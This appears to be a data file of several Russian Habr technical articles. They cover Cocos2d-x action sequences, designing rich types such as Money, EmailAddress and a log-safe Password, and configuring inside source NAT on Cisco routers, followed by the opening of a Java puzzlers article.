**Последовательности** — это серии действий, которые выполняются последовательно. Это может быть любое количество действий, **функций** или даже других последовательностей. Функций? Да! Cocos2d-x содержит объект CallFunc, который позволяет вам создавать **функции** и выполнять их в вашей последовательности. Это позволяет вам добавить ваши собственные функции в последовательности, помимо простых действий, предоставленных Cocos2d-x. Процесс выполнения последовательности выглядит примерно так:
### Пример последовательности
```
auto mySprite = Sprite::create("mysprite.png");
// создаем несколько действий
auto jump = JumpBy::create(0.5, Vec2(0, 0), 100, 1);
auto rotate = RotateTo::create(2.0f, 10);
// создаем несколько callbacks
auto callbackJump = CallFunc::create([](){
log("Jumped!");
});
auto callbackRotate = CallFunc::create([](){
log("Rotated!");
});
// создаем последовательность с действиями и callbacks
auto seq = Sequence::create(jump, callbackJump, rotate, callbackRotate, nullptr);
// запускаем их
mySprite->runAction(seq);
```
Итак, что же делает действие Sequence?
Оно будет исполнять следующие действия последовательно:
**Jump** -> **callbackJump()** -> **Rotate** -> **callbackRotate()**
Попробуйте сами протестировать эту последовательность!
### Spawn
Spawn очень похож на Sequence, единственное различие в том, что он выполняет все действия одновременно. У вас может быть любое количество действий или даже другой объект Spawn!
Spawn дает тот же результат, что множество последовательных вызовов runAction(). Однако, польза от использования Spawn в том, что вы можете включить его в последовательность, что бы достичь особых эффектов, которые невозможно получить иным способом. Комбинация Spawn и Sequence — очень мощный инструмент.
Пример:
```
// создание двух действий и запуск в Spawn
auto mySprite = Sprite::create("mysprite.png");
auto moveBy = MoveBy::create(10, Vec2(400,100));
auto fadeTo = FadeTo::create(2.0f, 120.0f);
```
Использование Spawn:
```
// Запуск вышеописанных действий в Spawn.
auto mySpawn = Spawn::createWithTwoActions(moveBy, fadeTo);
mySprite->runAction(mySpawn);
```
и последовательный вызов runAction():
```
// запуск обоих действий последовательно
mySprite->runAction(moveBy);
mySprite->runAction(fadeTo);
```
Оба эти способа дают один результат. Однако, Cocos2d-x позволяет также использовать Spawn в Sequence. Эта блок-схема демонстрирует, как это может выглядеть:
```
// создаем спрайт
auto mySprite = Sprite::create("mysprite.png");
// создаем несколько действий
auto moveBy = MoveBy::create(10, Vec2(400,100));
auto fadeTo = FadeTo::create(2.0f, 120.0f);
auto scaleBy = ScaleBy::create(2.0f, 3.0f);
// создаем Spawn
auto mySpawn = Spawn::createWithTwoActions(scaleBy, fadeTo);
// объединяем все в последовательность
auto seq = Sequence::create(moveBy, mySpawn, moveBy, nullptr);
// запускаем
mySprite->runAction(seq);
```
Запустите этот код, чтобы увидеть его в действии!
### Clone
**Clone** в точности соответствует своему названию. Если у вас есть действие, вы можете применить его ко множеству узлов, используя clone(). Зачем вам клонировать? Хороший вопрос. Action объекты имеют внутренние состояние. Когда они запускаются, то фактически изменяют свойства узла. Без использования clone(), вы не будете иметь уникального действия, примененного к узлу. Это приведет к непредвиденным результатам, так как вы точно не знаете какие значения параметров действия в настоящие время установлены.
Давайте посмотрим пример, скажем у вас есть **heroSprite** и он имеет позицию (0, 0). Если вы запустите действие:
```
MoveBy::create(10, Vec2(400,100));
```
Это заставит двигаться спрайт из точки (0, 0) в точку (400, 100), и он преодолеет это расстояние за 10 секунд. Теперь **heroSprite** находится в позиции (400, 100) и, что более важно, действие держит эту позицию во внутреннем состоянии. Теперь, допустим у вас есть **enemySprite** в позиции (200, 200). Если вы примените к нему тоже самое:
```
MoveBy::create(10, Vec2(400,100));
```
… к вашему enemySprite, действие закончится в положении (800, 200), а не там где вы задумывали. Понимаете почему? Это связано с тем, что действие больше не имеет начального состояния, после первого запуска MoveBy. Клонирование действий предотвращает это. Оно гарантирует вам получение уникальных действий, применяемых к узлам.
Давайте также посмотрим пример некорректного кода:
```
// создаем наши спрайты
auto heroSprite = Sprite::create("herosprite.png");
auto enemySprite = Sprite::create("enemysprite.png");
// создаем действие
auto moveBy = MoveBy::create(10, Vec2(400,100));
// применяем его к нашему heroSprite
heroSprite->runAction(moveBy);
// также применяем его к enemySprite
enemySprite->runAction(moveBy); // Ой, действие уже не работает!
// действия используют свое состояние как начальную позицию.
```
Корректный код с использование clone():
```
// создаем наши спрайты
auto heroSprite = Sprite::create("herosprite.png");
auto enemySprite = Sprite::create("enemysprite.png");
// создаем действие
auto moveBy = MoveBy::create(10, Vec2(400,100));
// применяем его к нашему heroSprite
heroSprite->runAction(moveBy);
// также применяем его к enemySprite
enemySprite->runAction(moveBy->clone()); // Верно! Это действие уникально
```
### Reverse
Разворачивает действия в обратную сторону. Если вы запускаете серию действий, вы можете вызвать для них reverse(), что запустит их в обратном порядке. Однако это не просто запуск действий в обратную сторону. Вызов reverse() — это фактически управление параметрами оригинального объекта Sequence или Spawn, в обратном порядке.
Пример вызова Spawn в обратном порядке:
```
// разворачиваем действие в обратную сторону
mySprite->runAction(mySpawn->reverse());
```
Большинство действий или последовательностей могут быть запущены в обратном порядке!
Это легко использовать, но давайте посмотрим, что происходит. Дано:
```
// создаем спрайт
auto mySprite = Sprite::create("mysprite.png");
mySprite->setPosition(50, 56);
// создаем несколько действий
auto moveBy = MoveBy::create(2.0f, Vec2(500,0));
auto scaleBy = ScaleBy::create(2.0f, 2.0f);
auto delay = DelayTime::create(2.0f);
// создаем последовательность
auto delaySequence = Sequence::create(delay, delay->clone(), delay->clone(),
delay->clone(), nullptr);
auto sequence = Sequence::create(moveBy, delay, scaleBy, delaySequence, nullptr);
// запускаем
mySprite->runAction(sequence);
// запускаем обратно
mySprite->runAction(sequence->reverse());
```
Что действительно происходит? Если мы выложим шаги в виде списка, это должно помочь:
* **mySprite** создается
* **mySprite** получает позицию (50, 56)
* **последовательность** запускается
* **mySprite** перемещается на 500 пикселей, его новая позиция — (550, 56)
* **последовательность** задерживается на 2 секунды
* **mySprite** увеличивается в 2 раза
* **последовательность** задерживается еще на 6 секунд
* Мы запускаем **обратную** последовательность, таким образом, каждое действие выполняется в обратную сторону
* **последовательность** задерживается на 6 секунд
* **mySprite** уменьшается в 2 раза
* **последовательность** задерживается на 2 секунды
* **mySprite** перемещается на -500 пикселей, его позиция снова (50, 56)
Вы можете видеть, что метод **reverse()** прост для использования, но не слишком прост в своей внутренней логике. К счастью, Cocos2d-x сделает всю тяжелую работу для вас! | https://habr.com/ru/post/339794/ | null | ru | null |
# Система типов — лучший друг программиста
Я устал от [одержимости примитивами](https://blog.ploeh.dk/2011/05/25/DesignSmellPrimitiveObsession/) и от чрезмерного использования примитивных типов для моделирования функциональной области.
Значение в `string` не лучший тип для записи адреса электронной почты или страны проживания пользователя. Эти значения заслуживают гораздо более богатых и специализированных типов. Мне нужно, чтобы существовал тип данных `EmailAddress`, который не может быть null. Мне нужна единая точка входа для создания нового объекта этого типа. Он должен валидироваться и нормализироваться перед возвратом нового значения. Мне нужно, чтобы этот тип данных имел полезные методы наподобие `.Domain()` или `.NonAliasValue()`, которые бы возвращали для введённого `foo+bar@gmail.com` значения `gmail.com` и `foo@gmail.com`. Эта полезная функциональность должна быть встроена в эти типы. Это обеспечивает безопасность, помогает предотвращать баги и существенно повышает удобство поддержки.
Тщательно спроектированные типы с полезной функциональностью мотивируют программиста поступать правильно.
Например, `EmailAddress` может иметь два метода проверки равенства:
* `Equals` возвращал бы `true`, если два адреса электронной почты (нормализованных) идентичны.
* `EqualsInPrinciple` также возвращал бы `true` для `foo@gmail.com` и `foo+bar@gmail.com`.
Такие специфические для типов методы были бы чрезвычайно полезны во множестве случаев. Пользователю нельзя отказывать в логине, если он зарегистрировался с почтой `jane@gmail.com`, а пытается войти с `Jane@gmail.com`. К тому же будет очень удобно сопоставлять пользователя, связавшегося со службой поддержки с основного адреса почты (`foo@gmail.com`), и зарегистрированный аккаунт (`foo+svc@gmail.com`). Это типичные требования, которые простой `string` не может выполнить без кучи дополнительной логики, разбросанной по кодовой базе.
> ***Примечание**: согласно [официальному RFC](https://www.rfc-editor.org/rfc/rfc5321#section-2.3.11), часть адреса электронной почты до символа @ может быть чувствительной к регистру, однако все популярные хосты работают с ней как с нечувствительной к регистру, поэтому логично будет учитывать это знание в типе domain.*
Хорошие типы помогают предотвращать баги
----------------------------------------
В идеале мне бы хотелось пойти ещё дальше. Адрес почты может быть верифицированным и неверифицированным. Обычно адрес электронной почты валидируется отправкой во входящие уникального кода. Такие «деловые» взаимодействия тоже можно выразить через систему типов. Пусть у нас будет второй тип с именем `VerifiedEmailAddress`. Если хотите, он даже может наследовать от `EmailAddress`. Меня это не волнует, но убедитесь, что получить новый экземпляр `VerifiedEmailAddress` можно только в одном месте кода, а именно у сервиса, отвечающего за валидацию адреса пользователя. И внезапно оказывается, что остальная часть приложения может использовать этот новый тип для предотвращения багов.
Любая функция отправки электронных писем может положиться на безопасность `VerifiedEmailAddress`. Представьте, что было бы, если бы адрес электронной почты был записан как простой `string`. Разработчику приходилось бы сначала находить/загружать соответствующий аккаунт пользователя, искать какой-нибудь непонятный флаг наподобие `HasVerifiedEmail` или `IsActive` (который, кстати, является наихудшим флагом, поскольку со временем его значимость становится всё более существенной), после чего надеяться, что флаг установлен правильно, а не инициализирован ошибочно как `true` в каком-то стандартном конструкторе. В такой системе слишком много возможностей для ошибки! Использование примитивного `string` для объекта, который легко выразить в виде собственного типа — это ленивое и лишённое воображения программирование.
Расширенные типы защищают от будущих ошибок
-------------------------------------------
Ещё один замечательный пример — деньги! Просто куча приложений выражает денежные значения при помощи типа `decimal`. Почему? У этого типа так много проблем, что такое решение мне кажется непостижимым. Где обозначение вида валюты? В любой сфере, где работают с деньгами людей, должен быть специализированный тип `Money`. Он как минимум должен включать в себя вид валюты и перегрузки операторов (или другие меры защиты), чтобы предотвратить глупые ошибки наподобие умножения $100 на £20. Кроме того, не у всех валют [хранится только два знака после запятой](https://en.wikipedia.org/wiki/ISO_4217). У некоторых валют, например у бахрейнского или кувейтского динара, их три. Если вы имеете дело с инвестициями или кредитами в Чили, то фиксировать [условную расчётную единицу](https://en.wikipedia.org/wiki/Unidad_de_Fomento) нужно с четырьмя знаками после запятой. Этих аспектов уже достаточно для того, чтобы оправдать создание специального типа `Money`, но и это ещё не всё.
Если ваша компания не создаёт всё самостоятельно, то вам рано или поздно придётся работать со сторонними системами. Например, большинство платёжных шлюзов передаёт запросы и ответы по деньгам в виде значений `integer`. Значения integer не страдают от проблем с округлением, свойственных типам `float` и `double`, поэтому они предпочтительнее, чем числа с плавающей запятой. Единственная тонкость заключается в том, что значения нужно передавать в производных единицах (например, в центах, пенсах, дирхамах, грошах, копейках и так далее), то есть если ваша программа работает с значениями в `decimal`, вам придётся постоянно преобразовывать их туда и обратно при общении с внешним API. Как говорилось ранее, не во всех валютах используется два знака после запятой, поэтому простым умножением/делением на 100 каждый раз не обойтись. Всё очень быстро может сильно усложниться. Ситуацию можно было бы существенно упростить, если бы эти правила были инкапсулированы в краткий единый тип:
* `var x = Money.FromMinorUnit(100, "GBP")`: £1
* `var y = Money.FromUnit(100.50, "GBP")`: £1.50
* `Console.WriteLine(x.AsUnit())`: 1.5
* `Console.WriteLine(x.AsMinorUnit())`: 150
Усугубляет ситуацию то, что во многих странах форматы обозначения денег тоже отличаются. В Великобритании десять тысяч фунтов пятьдесят пенсов можно записать как `10,000.50`, однако в Германии десять тысяч евро и пятьдесят центов будут записываться как `10.000,50`. Представьте объём кода, связанного с деньгами и валютами, который будет разбросан (а возможно и дублирован с небольшими расхождениями) по кодовой базе, если эти правила не будут помещены в один тип `Money`.
Кроме того, в специализированный тип `Money` можно включить множество других фич, сильно упрощающих работу с денежными значениями:
```
var gbp = Currency.Parse("GBP");
var loc = Locale.Parse("Europe/London");
var money = Money.FromMinorUnit(1000050, gbp);
money.Format(loc) // ==> £10,000.50
money.FormatVerbose(loc) // ==> GBP 10,000.50
money.FormatShort(loc) // ==> £10k
```
Разумеется, для моделирования такого типа `Money` придётся приложить усилия, но после его реализации и тестирования остальная часть кодовой базы будет в гораздо большей безопасности. К тому же это предотвратит большинство багов, которые в противном случае со временем будут проникать в код. Хотя такие мелкие аспекты, как защищённая инициализация объекта `Money` через `Money.FromUnit(decimal v, Currency c)` или `Money.FromMinorUnit(int v, Currency c)`, могут показаться незначительными, они заставляют последовательных разработчиков задумываться, каким из них является значение, полученное от пользователя или внешнего API, а значит, предотвращать баги с самого начала.
Продуманные типы могут предотвращать нежелательные побочные эффекты
-------------------------------------------------------------------
Расширенные типы хороши тем, что им можно придавать любую форму. Если моя статья пока не пробудила ваше воображение, позвольте продемонстрировать ещё один хороший пример того, как специализированный тип может спасти команду разработчиков от излишней траты ресурсов и даже багов, угрожающих безопасности.
В каждой кодовой базе, с которой я работал, в виде параметра функции было что-то наподобие `string secretKey` или `string password`. Что может пойти не так с этими переменными?
Представьте такой код:
```
try
{
var userLogin = new UserLogin
{
Username = username
Password = password
}
var success = _loginService.TryAuthenticate(userLogin);
if (success)
RedirectToHomeScreen(userLogin);
ReturnUnauthorized();
}
catch (Exception ex)
{
Logger.LogError(ex, "User login failed for {login}", userLogin);
}
```
Здесь возникает следующая проблема: если в процессе аутентификации срабатывает исключение, то это приложение запишет в логи (случайно) пароль пользователя в текстовом виде. Разумеется, подобный код вообще не должен существовать, и можно надеяться, что вы отловите его во время код-ревью до попадания в продакшен, но в реальности такое время от времени случается. Вероятность большинства таких багов со временем растёт.
Изначально класс `UserLogin` мог иметь другой набор свойств и при первоначальном код-ревью этот фрагмент кода, вероятно, был хорошим. Годами позже кто-то мог изменить класс `UserLogin` так, что в нём появился пароль в текстовом виде. Затем эта функция даже не появилась в diff, который был отправлен для ещё одного ревью, и вуаля, вы только что добавили в код баг, угрожающий безопасности. Я уверен, что каждый разработчик, имеющий несколько лет опыта, рано или поздно сталкивался с подобными проблемами.
Однако этого бага можно было бы легко избежать добавлением специализированного типа.
В языке C# (который я возьму для примера) при записи объекта в лог (или куда-то ещё) автоматически вызывается метод `.ToString()`. Зная это, можно спроектировать такой тип `Password`:
```
public readonly record struct Password()
{
// Здесь будет реализация
public override string ToString()
{
return "****";
}
public string Cleartext()
{
return _cleartext;
}
}
```
Это мелкое изменение, но теперь случайно вывести куда-то пароль в текстовом виде оказывается невозможно. Разве это не здорово?
Разумеется, в процессе аутентификации вам всё равно может понадобиться значение в виде простого текста, однако доступ к нему можно получить при помощи метода с очень понятным именем `Cleartext()`. Уязвимость этой операции становится сразу очевидной, и это автоматически мотивирует разработчика использовать этот метод по назначению и обращаться с ним аккуратно.
Тот же принцип применим и при работе с личными данными (например, номером паспорта, индивидуальным налоговым номером и так далее). Смоделируйте эту информацию при помощи специализированных типов. Переопределите стандартные функции наподобие `.ToString()` под себя и раскрывайте уязвимые данные через функции с соответствующими именами. Так личные данные никогда не утекут в логи и другие места, удаление из которых потребует много труда.
Такие мелкие хитрости могут оказать большую пользу!
Превратите это в привычку
-------------------------
Каждый раз, когда вы имеете дело с данными, связанными с определёнными правилами, поведением или опасностями, подумайте, как вы можете помочь себе созданием явно заданного типа.
Взяв за основу пример с типом `Password`, можно снова расширить его!
Перед сохранением в базу данных пароли хэшируются, так ведь? Разумеется, однако хэш — это не просто `string`. В процессе логина нам придётся сравнивать ранее сохранённый хэш с новым вычисленным хэшем. Проблема в том, что не каждый разработчик является специалистом по безопасности, а потому он может и не знать, что сравнение двух строк хэшей может сделать код уязвимым к атакам по времени.
Рекомендуется проверять равенство хэшей двух паролей неоптимизированным образом:
```
// Сравнение двух байтовых массивов на равенство.
// Метод специально написан так, чтобы цикл не оптимизировался.
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private static bool ByteArraysEqual(byte[] a, byte[] b)
{
if (a == null && b == null)
{
return true;
}
if (a == null || b == null || a.Length != b.Length)
{
return false;
}
var areSame = true;
for (var i = 0; i < a.Length; i++)
{
areSame &= (a[i] == b[i]);
}
return areSame;
}
```
***Примечание:** пример кода взят из [репозитория ASP.NET Core](https://github.com/aspnet/Identity/blob/rel/2.0.0/src/Microsoft.Extensions.Identity.Core/PasswordHasher.cs#L70).*
Поэтому будет совершенно логично закодировать эту функциональность в специализированный тип:
```
public readonly record struct PasswordHash
{
// Здесь будет реализация
public override bool Equals(PasswordHash other)
{
return ByteArraysEqual(this.Bytes(), other.Bytes());
}
}
```
Если `PasswordHasher` возвращает значения только типа `PasswordHash`, тогда даже не разбирающиеся в безопасности разработчики будут вынуждены использовать безопасный способ проверки на равенство.
Тщательно продумывайте способ моделирования функциональной области!
Не нужно говорить, что в программировании нет чётких правильных или ошибочных решений, и всегда существуют нюансы, которые нельзя раскрыть в одном посте, однако в целом я рекомендую подумать о том, как сделать систему типов вашим лучшим другом.
Во многих современных языках программирования есть очень богатые системы типов, и я считаю, что мы сильно недооцениваем их как способ совершенствования своего кода. | https://habr.com/ru/post/697926/ | null | ru | null |
# NAT на Cisco. Часть 1
Добрый день, коллеги!
судя по многочисленным вопросам на форуме (ссылка в конце поста), от слушателей и коллег, работа NAT на маршрутизаторах Cisco (firewall'ы я опущу, [Fedia](https://habrahabr.ru/users/fedia/) достаточно подробно его работу расписал в своей серии статей про Cisco ASA) плохо описана, поэтому я попробую описать свой опыт и свое понимание данной технологии в большинстве ее ипостасей. Не претендую на всеобъемлющее описание и 100% точность, но кому интересно — велкам под кат.
Итак, для структурности описания разберемся с определением, что такое NAT.
Определение. *NAT* (Network Address Translation) — технология трансляции сетевых адресов, т.е. подмены адресов в заголовке IP-пакета (иногда может еще и порт менять в заголовках TCP/UDP, но об этом позже).
Другими словами, пакет, проходя через маршрутизатор, может поменять свой адрес источника и/или назначения.
Зачем это нужно?
1. Для обеспечения доступа из LAN, где чаще всего используются частные IP-адреса, в Internet, где маршрутизируются только глобальные IP-адреса.
2. (*в меньшей степени*) для сокрытия топологии сети и создания некоторого защитного барьера для проникновения внутрь сети (обсудим это позже на примере).
NAT бывает разным :) И хотя много по этому поводу уже написано, есть желание отправлять новичков с вопросами о NAT по конкретному адресу, поэтому я все же приведу некоторую классификацию.
1. *Static NAT* — статический NAT задает однозначное соответствие одного адреса другому. Иными словами, при прохождении через маршрутизатор, адрес(а) меняются на строго заданный адрес, один-к-одному. (к примеру 10.1.1.1 всегда заменяется на 11.1.1.1 и обратно, но никогда на 12.1.1.1). Запись о такой трансляции хранится неограниченно долго, пока есть строчка в конфиге.
2. *Dynamic NAT* — при прохождении через маршрутизатор, новый адрес выбирается динамически из некоторого куска адресов, называемого пулом (англ. pool). Запись о трансляции хранится некоторое время, чтобы ответные пакеты могли быть доставлены адресату. Если в течение некоторого времени трафик по этой трансляции отсутствует, трансляция удаляется и адрес возвращается в пул. Если требуется создать трансляцию, а свободных адресов в пуле нет, то пакет отбрасывается. Иными словами, хорошо бы, чтобы число внутренних адресов было ненамного больше числа адресов в пуле, иначе высока вероятность проблем с доступом наружу.
3. *Dynamic NAT with overload или PAT*. Работает почти также, как dynamic NAT, но при этом происходит трансляция много-в-один, задействуя при этом возможности транспортного уровня. Об этом подробнее на примере дальше.
Поскольку я чаще всего работаю именно с железом Cisco, я опишу в статье именно особенности работы и возможные варианты NAT именно на этих железках.
Давайте посмотрим, что у нас есть в этом случае.
#### 1. inside source NAT
Самый распространенный и достаточно простой вариант. Допустим у нас есть такая топология:
Другими словами,
а) подсеть внутренних адресов — 10.0.0.0/8
б) подсеть внешних адресов — 11.0.0.0/8
и мы хотим транслировать каким-то образом внутренние адреса во внешние при прохождении трафика через маршрутизатор.
##### Что для этого нужно?
1. Мы явно указываем, **что** мы хотим транслировать. Т.е. какой трафик и от каких хостов.
2. Мы явно указываем, **во что** мы хотим траслировать, т.е. пул внешних адресов (или единственный адрес для статической трансляции).
**3. Помечаем внутренний и внешний интерфейс.**
4. Включаем трансляцию.
На п.3 я себе позволю остановиться подробнее, потому что именно здесь часто происходит непонимание.
##### Как это работает?
Итак, допустим мы решили, что будем транслировать всю 10ю сеть целиком в 11ю. Задали их соответствующим образом (настройки потом, сначала теория). И пометили наши интерфейсы как внутренний (inside) и внешний (outside).
Теперь, давайте разберемся, что делает именно *inside source NAT*. На самом деле, в названии зашита половина действия :) а именно: у пакета, пришедшего на inside интерфейс меняется source :). Но помните, мы говорили о том, что ответные пакеты должны доходить до нашего внутреннего хоста? Отсюда вторая половина действия: у пакета, пришедшего на outside интерфейс меняется destination.
Рассмотрим прямую трансляцию.
1. Трафик, приходя на интерфейс, помеченный как inside, если он соответствует тому, что мы хотим транслировать, маркируется как *возможно\_транслируемый*. Часто полагают, что в этот момент происходит трансляция, но это не так.
2. Следующим этапом, трафик подвеграется маршрутизации (PBR и обычной). И если при этом трафик направляется на интерфейс, помеченный как outside — только тогда происходит трансляция. Если трансляция динамическая, маршрутизатор проверяет ее наличие в таблице трансляций. Если ее там нет — создает, если уже есть — обнуляет счетчик неактивности. Если же пакет попадает на выход на интерфейс, не помеченный как outside — трансляция НЕ происходит.
Теперь обратная трансляция.
1. Трафик, попадая на outside интерфейс, в противовес прямой трансляции, сначала подвергается NAT. Если трансляция существует (неважно, динамическая или статическая), в случае с inside source NAT, у него меняется destination. И только после этого трафик подвергается маршрутизации и перенаправляется по назначению.
Поэтому маркировать интерфейсы как inside или outside нужно именно принимая во внимание механизм работы.
Замечания и следствия.
1. Для обратной трансляции не обязательно наличие метки inside на каком-либо интерфейсе. Все равно, если прямая трансляция существует, обратная трансляция сработает до маршрутизации. Но когда будет существовать такая трансляция, ведь мы обсуждали, что трафик должен пройти через inside интерфейс для создания прямой трансляции? Отсюда
2. **Трафик самого роутера подвергается трансляции, если он попадает на интерфейс, помеченный как outside и удовлетворяет правилу NAT**. И это сколь полезно, столь и опасно. С одной стороны, мы можем транслировать трафик роутера как и любой другой. С другой стороны, многие хотят описать трафик, подлежащий трансляции как *permit any*, но тогда и, например, пакеты протоколов маршрутизации будут транслироваться, что приведет к сбою.
3. Интерфейсы типа loopback маршрутизатора трактуются как и любые другие, мы можем метить их как inside или outside, заворачивать на них трафик и получать от этого профит :)
Теперь посмотрим общую конфигурацию, а потом еще несколько частных случаев.
##### Конфигурация inside source NAT
###### inside source dynamic NAT
1. Указываем, **что** транслировать. Для этого создаем access-list, перечисляющий трафик. Например, в нашем случае достаточно одной строчки:
`(config)# access-list 100 permit ip 10.0.0.0 0.255.255.255 any`
Замечание. В ACL могут встречаться строчки deny. Вопреки распространенному заблуждению, трафик удовлетворяющей данной строчке не дропается, а просто не подвеграется трансляции. Так же, ACL может быть стандартным и расширенным, нумерованным и именованным.
2. Создаем пул из адресов, указывая стартовый и конечный адрес. Например так:
`(config)# ip nat pool NAME_OF_POOL 11.1.1.10 11.1.1.20 netmask 255.255.255.0`
Замечания.
1. Стартовый и конечный адрес в пуле могут совпадать, тогда трансляция будет в 1 адрес.
2. Опция netmask, хотя и является обязательной, по моему мнению — рудимент. Она позволяет вырезать из диапазона адресов в пуле те адреса, которые являются адресами подсети или бродкастными при данной маске.
3. Маркируем интерфейсы. В нашем случае достаточно
`(config)# interface fa 0/0
(config-if)# ip nat inside`
и
`(config)# interface fa 0/1
(config-if)# ip nat outside`
4. создаем собственно трансляцию:
`ip nat inside source list 100 pool NAME_OF_POOL`
вуаля :) Если мы теперь обратимся например с хоста 10.1.1.1 к хосту 11.1.1.2, то получим такую трансляцию:
`Router#sh ip nat translations
Pro Inside global Inside local Outside local Outside global
tcp 11.1.1.10:55209 10.0.1.1:55209 11.1.1.2:23 11.1.1.2:23`
Интересно, что хотя в таблице явно записаны source port и destination port, трансляция создается целиком для адреса. И на время ее жизни в таблице трансляция, пакеты снаружи могут проходить на внешний адрес (inside global)
Например, пинг с некоторого адреса во внешней сети на наш inside global будет успешным (на время жизни трансляции):
`R4#ping 11.1.1.10
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 11.1.1.10, timeout is 2 seconds:
!!!!!`
Иными словами, открывается трансляция единожды и к некоторому хосту, после этого некоторое время действует для любого адреса извне.
###### inside source dynamic NAT with overload
П. 1,2 и 3 — как в предыдущем разделе.
4. Создаем собственно трансляцию:
`ip nat inside source list 100 pool NAME_OF_POOL **overload**`
Видим, что добавилось всего одно слово: overload. Но оно существенно изменило схему работы трансляции.
Как было сказано, PAT — это трансляция много-в-мало или даже много-в-один. Но чтобы можно было отличить трафик одного соединения от другого, маршрутизатор будет менять не только IP-адреса, но еще и TCP/UDP порты.
Замечание. Схема работы с портами (когда меняется source, когда destination) — такая же, как и схема работы с IP-адресами.
Другими словами, при обращении изнутри наружу меняется source IP и source port, запись об этом вносится в таблицу трансляций. При обратной трансляции — все меняется наоборот.
Посмотрим, что изменилось:
`R3#sh ip nat translations
Pro Inside global Inside local Outside local Outside global
tcp 11.1.1.11:21545 10.0.1.1:21545 11.1.1.2:23 11.1.1.2:23
tcp 11.1.1.11:49000 10.0.2.1:49000 11.1.1.2:23 11.1.1.2:23`
Видим, что разные внутренние адреса (10.0.1.1 и 10.0.2.1) странслировались в один внешний (11.1.1.11).
Замечания.
1. Кажется, что source-port не был изменен, как обещали, непорядок :). На деле, маршрутизатор пытается сохранить source port всеми доступными средствами. В частности, если порт inside global адреса уже был занят, он возьмет следующий адрес в пуле и проверит его порт на занятость. И только не найдя адреса со свободным портом возьмет следующий свободный.
2. Поведение такой трансляции отличается от поведения обычного dynamic NAT еще и тем, что доступ снаружи на inside global адрес невозможен. Именно это я имел ввиду, когда говорил о некоторой повышенной безопасности при использовании PAT, т.к. фактически все соединения инициируются изнутри нашей сети, а снаружи нам могут приходить только ответы на них.
3. Если мы получили у провайдера не целый блок адресов, а один несчастный адрес, который тут же и назначили внешнему интерфейсу маршрутизатора, можно не городить огород с пулом в один адрес, а сразу писать например так:
`(config)# ip nat inside source list 100 interface fa0/1 overload`
###### inside source static NAT and PAT
Много упоминалось о статических трансляциях, давайте наконец их обсудим.
Зачем это нужно?
Мы обсудили, что если в случае dynamic NAT трансляция не создана и в случае PAT, доступ извне невозможен. Если даже в случае dynamic NAT трансляция создана, то inside global адрес может меняться. И обращаться к нашему внутреннему хосту по какому-то внешнему адресу невозможно.
Тем не менее, нередки ситуации, когда внутри корпоративной сети есть сервер, доступ которому извне по статическому внешнему адресу жизненно необходим. В таком случае, можно выставить его прямиком в Интернет, назначив глобальный адрес. Но часто это не очень удобно, например по соображениям безопасности. И в таких случаях нам на помощь приходит static NAT.
Он создает двустороннюю и постоянную трансляцию. Так что наш хост всегда будет доступен по одному внешнему адресу и эта трансляция никогда не вылетит из таблицы трансляций по таймауту.
собственно настройка.
Сразу создаем трансляцию:
`(config)# ip nat inside source static 10.0.1.1 11.1.1.21`
Маркируем интерфейсы и вуаля!
`R3#sh ip nat translations
Pro Inside global Inside local Outside local Outside global
icmp 11.1.1.21:14 10.0.1.1:14 11.1.1.2:14 11.1.1.2:14
--- 11.1.1.21 10.0.1.1 --- ---`
Как видим, появилось две записи — одна постоянная, другая (чисто информативная) — временная, вызванная трафиком изнутри наружу.
Замечание. Появление таких информативных записей можно отключить командой
`(config)# no ip nat create flow-entries`
Идем дальше. Часто бывает, что нужно выставить наружу не целый адрес, а только один порт (например 80й для www-сервера). Никаких проблем, можно создать и статическую PAT-трансляцию для некоторых портов:
`(config)# ip nat inside source static tcp 10.0.1.1 80 11.1.1.21 80
(config)# ip nat inside source static udp 10.0.1.1 5060 11.1.1.21 7877`
Видим, что порты одного и того же внешнего адреса можно пробрасывать на разные порты внутренних, и управлять трансляцией портов при этом тоже возможен.
В заключение добавлю, что изменять различные таймауты для NAT можно командой
`Router(config)#ip nat translation ?
arp-ping-timeout Specify timeout for WLAN-NAT ARP-Ping
dns-timeout Specify timeout for NAT DNS flows
finrst-timeout Specify timeout for NAT TCP flows after a FIN or RST
icmp-timeout Specify timeout for NAT ICMP flows
max-entries Specify maximum number of NAT entries
port-timeout Specify timeout for NAT TCP/UDP port specific flows
pptp-timeout Specify timeout for NAT PPTP flows
routemap-entry-timeout Specify timeout for routemap created half entry
syn-timeout Specify timeout for NAT TCP flows after a SYN and no
further data
tcp-timeout Specify timeout for NAT TCP flows
timeout Specify timeout for dynamic NAT translations
udp-timeout Specify timeout for NAT UDP flows`
Объемистая статейка получилась, придется разбить на несколько частей. Конечно inside source NAT многократно обсужден и расписан, но надеюсь, что даже не совсем новичкам удастся найти в статье что-то полезное. Надо было начать с некоторой базы, пусть и общеизвестной.
В следующей статье мы обсудим inside destination NAT, если конечно статья найдет отклик и поддержку.
С уважением,
Подкопаев Илья
P.S. Я открыт для пожеланий по улучшению статьи и исправлению неточностей/ошибок.
P.P.S. Ссылки:
1. [форум сайта anticisco.ru](http://forum.anticisco.ru)
2. [Cisco NAT order of operations](http://www.cisco.com/en/US/tech/tk648/tk361/technologies_tech_note09186a0080133ddd.shtml) | https://habr.com/ru/post/108931/ | null | ru | null |
# Java Puzzlers NG S02: всё чудесатее и чудесатее
Тагир Валеев ([lany](https://habr.com/ru/users/lany/)) и Барух Садогурский ([jbaruch](https://habr.com/ru/users/jbaruch/)) собрали новую коллекцию Java-паззлеров и спешат ими поделиться.
В основе статьи – расшифровка их выступления на осенней конференции JPoint 2017. Она показывает, сколько загадок таит в себе Java 8 и едва замаячившая на горизонте Java 9. Все эти стримы, лямбды, монады, Optional-ы и CompletableFuture-ы были добавлены туда исключительно для того, чтобы нас запутать.
Все, о чем они рассказывают, должно работать на последней версии Java 8 и 9, соответственно. Мы проверили – вроде все по-честному: как написано, так себя и ведет.
На всякий случай пара слов об авторах, хотя мы думаем, вы их и так уже хорошо знаете: Барух занимается Developer Relations в компании JFrog, Тагир – разработчик IntelliJ IDEA и автор библиотеки StreamEx.
Java-паззлер №1: как прохакать банк
-----------------------------------
Для разминки задаем первый паззлер: неизвестные американские хакеры пытаются прохакать банк.
